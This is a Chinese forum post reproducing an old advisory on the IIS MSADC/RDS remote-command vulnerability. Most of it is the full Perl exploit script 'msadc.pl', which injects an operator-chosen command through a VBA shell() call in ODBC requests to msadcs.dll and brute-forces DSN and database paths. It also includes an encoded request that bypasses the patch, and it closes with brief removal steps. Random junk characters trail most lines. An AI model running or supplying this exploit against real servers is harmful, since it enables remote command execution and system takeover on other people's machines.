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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ~t3?er& R  
RkV3_c  
涉及程序: k'q !MZU  
Microsoft NT server 9C~GL,uKs  
n *0F  
描述: o%>nu  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 nMoF;AdKm  
Oc+L^}elJ  
详细: 4_:e+ ql  
如果你没有时间读详细内容的话,就删除: td$6:)  
c:\Program Files\Common Files\System\Msadc\msadcs.dll xENA:j?kF  
有关的安全问题就没有了。 44{:UhJkx  
3K:Xxkk  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 XBt0Ez  
knZd}?I*  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `/Jr8J_  
关于利用ODBC远程漏洞的描述,请参看: "lzg@=$|)  
] "vdC}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm g\nL n#  
A"ph!* i{  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 kRa$jD^?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp jtpNo~O  
&'2l_b  
这里不再论述。 'u%;6'y  
Z:gsguX  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: AG%es0D[H  
{cHTg04  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset K{h]./%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Cu<ojN- $  
.z7f_KX^  
pnb$lpxt  
#将下面这段保存为txt文件,然后: "perl -x 文件名" FsZEB/c  
sh3}0u+  
#!perl Ec/+9H6g  
# BU\NBvX$  
# MSADC/RDS 'usage' (aka exploit) script  cJ{P,K  
# xx#Ef@bS  
# by rain.forest.puppy }(O kl1  
# 1L9 <1  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me =n?@My?;  
# beta test and find errors! iv`-)UsE  
au~gJW-  
use Socket; use Getopt::Std; >(Ddw N9l  
getopts("e:vd:h:XR", \%args); jXva ?_  
gz:c_HJ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; mM~Q!`Nf.  
n!orM5=:O  
if (!defined $args{h} && !defined $args{R}) { Y(mwJud|  
print qq~ LYKm2C*d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } t~#+--(  
-h <host> = host you want to scan (ip or domain) `b$I)UUm  
-d <seconds> = delay between calls, default 1 second w5R9\<3L  
-X = dump Index Server path table, if available YWd(xm"4  
-v = verbose Ase1R=0  
-e = external dictionary file for step 5 ECfY~qK  
Ok"wec+,  
Or a -R will resume a command session TQfY%GKg(  
xBd% e-r  
~; exit;} ]sIFK  
]z@]Fi33Y  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; R|yTUGY  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} HM x9M$  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /;[')RO`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); @XJv9aq  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} M QI=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } VAz+J  
!1]xKNp ]  
if (!defined $args{R}){ $ret = &has_msadc; eVJL|uI|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} P=g+6-1  
KJ |1zCM  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *V+fRN4 W  
. "cmd /c "; '/@VG_9L]  
$in=<STDIN>; chomp $in; |1$X`|S  
$command="cmd /c " . $in ; B W1O1zIh\  
v7RDoO]I  
if (defined $args{R}) {&load; exit;} TR;-xst@  
<]J5AdJ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [:Y^0[2  
&try_btcustmr; {rr\hl-$  
E_#&L({|@  
print "\nStep 2: Trying to make our own DSN..."; q9Wtu7/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; tp0*W _<4  
=Ih_[$1dw  
print "\nStep 3: Trying known DSNs..."; oWT0WS  
&known_dsn; GR9F^Y)K{  
0_)\e  
print "\nStep 4: Trying known .mdbs..."; NIGFu{S  
&known_mdb; Q0A1N[  
7hQl,v< 5  
if (defined $args{e}){ awtzt?VtLh  
print "\nStep 5: Trying dictionary of DSN names..."; 6&cU*Io@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \^D`Hvg  
AUd}) UR  
print "Sorry Charley...maybe next time?\n"; =^{+h>#s@  
exit; {M5IJt"{4b  
dzap]RpB  
############################################################################## ^8*.r+7p  
uhLW/?q.  
sub sendraw { # ripped and modded from whisker g [K8G  
sleep($delay); # it's a DoS on the server! At least on mine... EJsb{$u  
my ($pstr)=@_; ""=Vt]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  #Ki@=*  
die("Socket problems\n"); fNumY|%3  
if(connect(S,pack "SnA4x8",2,80,$target)){ MDZb|1.AT  
select(S); $|=1; MiI7s ;  
print $pstr; my @in=<S>; ?2a gU  
select(STDOUT); close(S); t `oP;  
return @in; auU{I y   
} else { die("Can't connect...\n"); }} bzTM{<]sv  
G"(!5+DLy  
############################################################################## ~5zhK:7c  
4H)a7 <,  
sub make_header { # make the HTTP request W\.(~-(So  
my $msadc=<<EOT }#@LZ)]hK  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ]cK@nq)  
User-Agent: ACTIVEDATA D[_2:8  
Host: $ip mv_-|N~  
Content-Length: $clen 4i\n1RW  
Connection: Keep-Alive j  jQ=  
v}U;@3W8U  
ADCClientVersion:01.06 B("kE`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 _;9)^})$  
~drNlt9jf  
--!ADM!ROX!YOUR!WORLD! W3#L!&z_wK  
Content-Type: application/x-varg 5Dd;?T>  
Content-Length: $reqlen Z(cgI5Pu  
a7ty&[\  
EOT v2^CBKZ+  
; $msadc=~s/\n/\r\n/g; >{[J+f{~|  
return $msadc;} ">7 bnOJ  
A.Njn(z?Lz  
############################################################################## c s> W6  
nN: i{t4f  
sub make_req { # make the RDS request Gbhaibk O  
my ($switch, $p1, $p2)=@_; ^[6AOz+L  
my $req=""; my $t1, $t2, $query, $dsn; )Lq FZ~B  
yWy9IWI["  
if ($switch==1){ # this is the btcustmr.mdb query }_S]!AWz  
$query="Select * from Customers where City=" . make_shell(); YR>xh2< 9  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . o5d)v)Rx=  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} o z QL2  
lnhZ!_  
elsif ($switch==2){ # this is general make table query \4 DH&gZ[  
$query="create table AZZ (B int, C varchar(10))"; k K(,FB  
$dsn="$p1";} e): &pqA  
! d(,t[cV  
elsif ($switch==3){ # this is general exploit table query 3z#16*  
$query="select * from AZZ where C=" . make_shell(); KR63W:Z\'  
$dsn="$p1";} fjf\/%  
*e=e7KC6kI  
elsif ($switch==4){ # attempt to hork file info from index server RN;Tqq):  
$query="select path from scope()"; 6K6ihR!d  
$dsn="Provider=MSIDXS;";} 4^ A\w  
H~&'`h1  
elsif ($switch==5){ # bad query !^%b|=[  
$query="select"; %%#zO Z  
$dsn="$p1";} mOBS[M5*  
59|Tmf(dS;  
$t1= make_unicode($query); Sn0 Gw  
$t2= make_unicode($dsn); UCFef,VW  
$req = "\x02\x00\x03\x00"; fu/v1~X  
$req.= "\x08\x00" . pack ("S1", length($t1)); [>fE{ ~Y  
$req.= "\x00\x00" . $t1 ; iqpy5  
$req.= "\x08\x00" . pack ("S1", length($t2)); gs'( px  
$req.= "\x00\x00" . $t2 ; *l}q,9iQ-  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; n#iL[ &/Aw  
return $req;} ZCa?uzeo]  
><Z2uJZ4x  
##############################################################################  z>!b  
?%?@?W>s@  
sub make_shell { # this makes the shell() statement awUIYAgJ3  
return "'|shell(\"$command\")|'";} ]Kd:ZmJ  
9tJiIr8i  
############################################################################## 9 ItsK  
^#Shs^#  
sub make_unicode { # quick little function to convert to unicode k&^fIz  
my ($in)=@_; my $out; crUXpD  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } dS-l2 $n  
return $out;} 2Tp.S3  
~<aCn-h0  
############################################################################## a`}HFHm\2,  
:)&_  
sub rdo_success { # checks for RDO return success (this is kludge) n/?_]  
my (@in) = @_; my $base=content_start(@in); XWk^$"  
if($in[$base]=~/multipart\/mixed/){ Xln'~5~)  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \ /o`CV{O  
return 0;} ie5"  
(%".=x-  
############################################################################## ?>e-6*.  
lUDzf J}3  
sub make_dsn { # this makes a DSN for us 0h* AtZv_  
my @drives=("c","d","e","f"); <~]s+"oVc  
print "\nMaking DSN: "; 3]T2Zp&;  
foreach $drive (@drives) { SOd(& >  
print "$drive: "; hD"Tjd` P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1 #_R`(C{  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" /.vB /{2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N[Fz6,ZG _  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3ILEc:<0J  
return 0 if $2 eq "404"; # not found/doesn't exist ZT!DTb B  
if($2 eq "200") { l =#uy  
foreach $line (@results) { A@GyKx%x$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `6'fX[j5  
} return 0;} ^;M!u8[  
e4t'3So  
############################################################################## hW]:CIqk  
7 'N&jI   
sub verify_exists { rTQrlQ:@  
my ($page)=@_; r'"H8>UZ%  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %1S;y  
return $results[0];} (JOge~U  
1aKY+4/G  
############################################################################## %ZZ\Xj  
2\_}81 hM  
sub try_btcustmr { lO[[iMHl<  
my @drives=("c","d","e","f"); Go8 m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >Qr(#Bt)  
4~DoqT  
foreach $dir (@dirs) { N|wI=To  
print "$dir -> "; # fun status so you can see progress %kUIIH V}  
foreach $drive (@drives) { }k$2r3  
print "$drive: "; # ditto =*fOej>G  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; V|Smk;G  
$reqlenlen=length( "$reqlen" ); BTqY _9  
$clen= 206 + $reqlenlen + $reqlen; Y}QtgZEt  
YjAwt;%-D  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); re:=fC:t5A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} y]+q mNw"+  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} YFeF(k!!n  
}}@x x&  
############################################################################## id'E_]r  
J#"@~Q+a`@  
sub odbc_error { ~0eJ6i  
my (@in)=@_; my $base; r1f##  
my $base = content_start(@in); !c/G'se  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  s'RE~,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XX+%:,G  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KFx4"f%  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "{Lp'+wNw  
return $in[$base+4].$in[$base+5].$in[$base+6];} Eu2@%2}P  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ;.+sz(:hm  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [BWA$5D)Ny  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &c%;Lo  
v25]}9/C  
############################################################################## w*n@_n={  
{wVj-w=<W  
sub verbose { [_q3 02  
my ($in)=@_; ,ir(~g+{g  
return if !$verbose; B*W)e$  
print STDOUT "\n$in\n";} k "7l\;N  
J4EQhuQ  
############################################################################## Bu$Z+o  
S}WQ~e  
sub save { jInI%  
my ($p1, $p2, $p3, $p4)=@_; yz.a Z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8R0Q-,'  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Z jLuqo  
close OUT;} 0ZcvpR?G  
[z=KHk  
############################################################################## sF[7pE  
<A"[Wk  
sub load { Xy0*1$IS]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; SHWD@WLE4  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _P,3~ ;  
@p=<IN>; close(IN); xA/Ein0  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); oK\{#<gCZ  
$target= inet_aton($ip) || die("inet_aton problems"); ai0am  
print "Resuming to $ip ..."; Q*&k6A"jx  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 3 vr T`  
if($p[1]==1) { W~b->F  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; f-$%Ck$%,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; gqw ]L>Z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^N# z&oh  
if (rdo_success(@results)){print "Success!\n";} Q6%dM'fR  
else { print "failed\n"; verbose(odbc_error(@results));}} s 1~&PH^  
elsif ($p[1]==3){ F)XO5CBK  
if(run_query("$p[3]")){ re[v}cB  
print "Success!\n";} else { print "failed\n"; }} *7cc4 wGQ  
elsif ($p[1]==4){ K FMx(fD  
if(run_query($drvst . "$p[3]")){ w\SfzJN  
print "Success!\n"; } else { print "failed\n"; }} x`9IQQ  
exit;} q.I  
@,kR<1  
############################################################################## )/Z% HBn  
PLoD^3uG)  
sub create_table { ]fiAV|'^  
my ($in)=@_; U}hQVpP#  
$reqlen=length( make_req(2,$in,"") ) - 28; )a99@`L\P  
$reqlenlen=length( "$reqlen" ); T3H\KRe6  
$clen= 206 + $reqlenlen + $reqlen; ol#| .a2O  
my @results=sendraw(make_header() . make_req(2,$in,"")); tg5G`P5PJ  
return 1 if rdo_success(@results); ~IQ3B $4H&  
my $temp= odbc_error(@results); verbose($temp); {XR 3L'X  
return 1 if $temp=~/Table 'AZZ' already exists/; NW?.Ge.!P  
return 0;} -0P(lkylf  
<+3-(&  
############################################################################## u]`ur#_  
QTe>EJ12  
sub known_dsn { 3IB||oN$T  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ZF@T,i9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dkUh[yo"H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", W[BwHNxyg  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); K-X@3&X}  
Q&\(m[:)  
foreach $dSn (@dsns) { ku*H*o~  
print "."; 'j&+Pg)@  
next if (!is_access("DSN=$dSn")); ^(79SOZC  
if(create_table("DSN=$dSn")){ RZ +SOZs7H  
print "$dSn successful\n"; {PBm dX  
if(run_query("DSN=$dSn")){ D^dos`L0b  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { # cGn5c}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} S29k IJ  
crvq]J5  
############################################################################## Z~[EZgIg  
1[4 2f#  
sub is_access { Q95`GuI@  
my ($in)=@_; ^ s.necg0  
$reqlen=length( make_req(5,$in,"") ) - 28; ;nx? 4f+6h  
$reqlenlen=length( "$reqlen" ); jVdRy{MH  
$clen= 206 + $reqlenlen + $reqlen; Rlyx& C8  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3OZu v};k  
my $temp= odbc_error(@results); K3*8-Be  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Thc"QIk&4  
return 0;} Lnk(l2~U  
1^v?Ly8  
############################################################################## QJ%[6S  
#^i.[7p  
sub run_query { _]aA58,j  
my ($in)=@_; | > t,1T.  
$reqlen=length( make_req(3,$in,"") ) - 28; L;%_r)  
$reqlenlen=length( "$reqlen" ); S W; %2  
$clen= 206 + $reqlenlen + $reqlen; Q |1-j  
my @results=sendraw(make_header() . make_req(3,$in,"")); yH<a;@C  
return 1 if rdo_success(@results); n,l{1 q  
my $temp= odbc_error(@results); verbose($temp); #)BbW40f6  
return 0;} ]Oh8LcE#BF  
?7|6jTIs  
############################################################################## u6#FG9W7  
@a]O(S>Ub  
sub known_mdb { P/?'ea  
my @drives=("c","d","e","f","g"); w+_pq6\V  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ms61FmA4  
my $dir, $drive, $mdb; K (!+l  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; azKiXr#_(  
*f ;">(`o*  
# this is sparse, because I don't know of many S9VD/  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &:@)ro CR  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &)Z!A*w]  
"\\system32\\certmdb.mdb", :*<UCn""  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% NW%u#MZ[h  
%HWebZ-yY  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /&jh10}H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", }@Dgr)*+  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", L0QF(:F5  
"\\cfusion\\cfapps\\security\\realm_.mdb", > 3SZD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", E9]\ I> v  
"\\cfusion\\database\\cfexamples.mdb", m]"13E0*x  
"\\cfusion\\database\\cfsnippets.mdb", !kG2$/lR  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", G\4*6iw:  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {1VMwANj  
"\\cfusion\\brighttiger\\database\\cleam.mdb", WUfPLY_c(  
"\\cfusion\\database\\smpolicy.mdb", +[_mSt  
"\\cfusion\\database\cypress.mdb", ^V;h>X|  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", xa&5o`>1G  
"\\website\\cgi-win\\dbsample.mdb", VX{9g#y$j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Jb1L[sT2  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" IizPu4|  
); #these are just eY'< UO  
foreach $drive (@drives) { yZc_PC`  
foreach $dir (@dirs){ zho$g9*  
foreach $mdb (@sysmdbs) { [19QpK WM  
print "."; &4}Uaxt)  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ X={Z5Xxr"  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 2}<_l 2  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 1Ax{Y#<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; *74VrAo  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _7=LSf,9  
U9/6F8D1Y1  
foreach $drive (@drives) { vOV$Hle  
foreach $mdb (@mdbs) { JK=0juv<E  
print "."; ,B8u?{O  
if(create_table($drv . $drive . $dir . $mdb)){ %}/|/=  
print "\n" . $drive . $dir . $mdb . " successful\n"; 2T&n6t$p  
if(run_query($drv . $drive . $dir . $mdb)){ sO$X5S C9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; X Z4q{^o  
} else { print "Something's borked. Use verbose next time\n"; }}}} chs] ,7R  
} lFT` WO  
.sBwJZ  
############################################################################## SpJIEw  
HpGI\s  
sub hork_idx { W^"C|4G}  
print "\nAttempting to dump Index Server tables...\n"; \iQ{Q &JR:  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <l!{j?Kx  
$reqlen=length( make_req(4,"","") ) - 28; Ef2i#BoZ  
$reqlenlen=length( "$reqlen" ); < ?{ic2j#  
$clen= 206 + $reqlenlen + $reqlen; #sHt3z)6I  
my @results=sendraw2(make_header() . make_req(4,"","")); @0[#XA_>  
if (rdo_success(@results)){ dh0nB  
my $max=@results; my $c; my %d; ,(y6XUV~  
for($c=19; $c<$max; $c++){ Bp9_\4  
$results[$c]=~s/\x00//g; D@?Tq,= [  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =tQ^t4_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {\p&?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [$e\?c  
$d{"$1$2"}="";} b2Oj 1dP1  
foreach $c (keys %d){ print "$c\n"; } 2Y1y;hCK  
} else {print "Index server doesn't seem to be installed.\n"; }} #Mm1yXNu  
pz0Q@n/X  
############################################################################## LCMZw6p  
]@wKm1%v  
sub dsn_dict { L&LAh&%{2  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %n)H(QPW  
while(<IN>){ 1Rd2Xb  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; }/J<#}t  
next if (!is_access("DSN=$dSn")); uWDWf5@  
if(create_table("DSN=$dSn")){ ';zS0Yk  
print "$dSn successful\n"; cTa$t :K@  
if(run_query("DSN=$dSn")){ _X)`S"EsJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zJH:`~GxE  
print "Something's borked. Use verbose next time\n";}}} =HHtLW.|,  
print "\n"; close(IN);} k, >*.Yoh  
W'{o`O=GGr  
############################################################################## <TEDqQ  
/K :H2?J  
sub sendraw2 { # ripped and modded from whisker +N2R'Phv  
sleep($delay); # it's a DoS on the server! At least on mine... XE($t2x,M  
my ($pstr)=@_; 4L<;z'   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4WXr~?Vq9  
die("Socket problems\n"); F~C7$  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;U[W $w[  
print "Connected. Getting data"; 'b:UafV  
open(OUT,">raw.out"); my @in; -GODM128 ^  
select(S); $|=1; print $pstr; .1F41UyL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ~u-_DOA  
close(OUT); select(STDOUT); close(S); return @in; 8SOfX^;o  
} else { die("Can't connect...\n"); }} =;{8)m  
siz:YRur  
############################################################################## kJ"}JRA<  
ks7id[~&iY  
sub content_start { # this will take in the server headers yC\!6pg  
my (@in)=@_; my $c; 0,1)Sg*  
for ($c=1;$c<500;$c++) { ;nw}x4Y[  
if($in[$c] =~/^\x0d\x0a/){ nJR(lXWO  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } {)wl`mw3  
else { return $c+1; }}} d;v<rw  
return -1;} # it should never get here actually jygKw+C  
nVoP:FHH  
############################################################################## %ZT I ?a  
* TByAa{  
sub funky { 3\j3vcuy  
my (@in)=@_; my $error=odbc_error(@in); I>:.fHvUC  
if($error=~/ADO could not find the specified provider/){ -?1ed|I8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :~\ y<  
exit;} +?^lnoX  
if($error=~/A Handler is required/){ Xp~O?2:3l  
print "\nServer has custom handler filters (they most likely are patched)\n"; rq|>z.  
exit;} jBU!xCO  
if($error=~/specified Handler has denied Access/){ )TOKHN  
print "\nServer has custom handler filters (they most likely are patched)\n"; r<pt_Cd  
exit;}} vPM 2cc/o  
-~_;9[uV  
############################################################################## ZU.f)94u  
~`<_xIvrq  
sub has_msadc { LsaRw-4.c  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ZmZ7E]c  
my $base=content_start(@results); W<M\ b#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .83z =  
return 0;} [t"#4[  
m`#UV-$J  
######################## tx]!|x" F  
4_w{~  
Eg0qY\'  
解决方案: \&4)['4,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll YiC_,8A~  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \O+Hmi^  
>?ckBU9  
拿出来充数 哈哈
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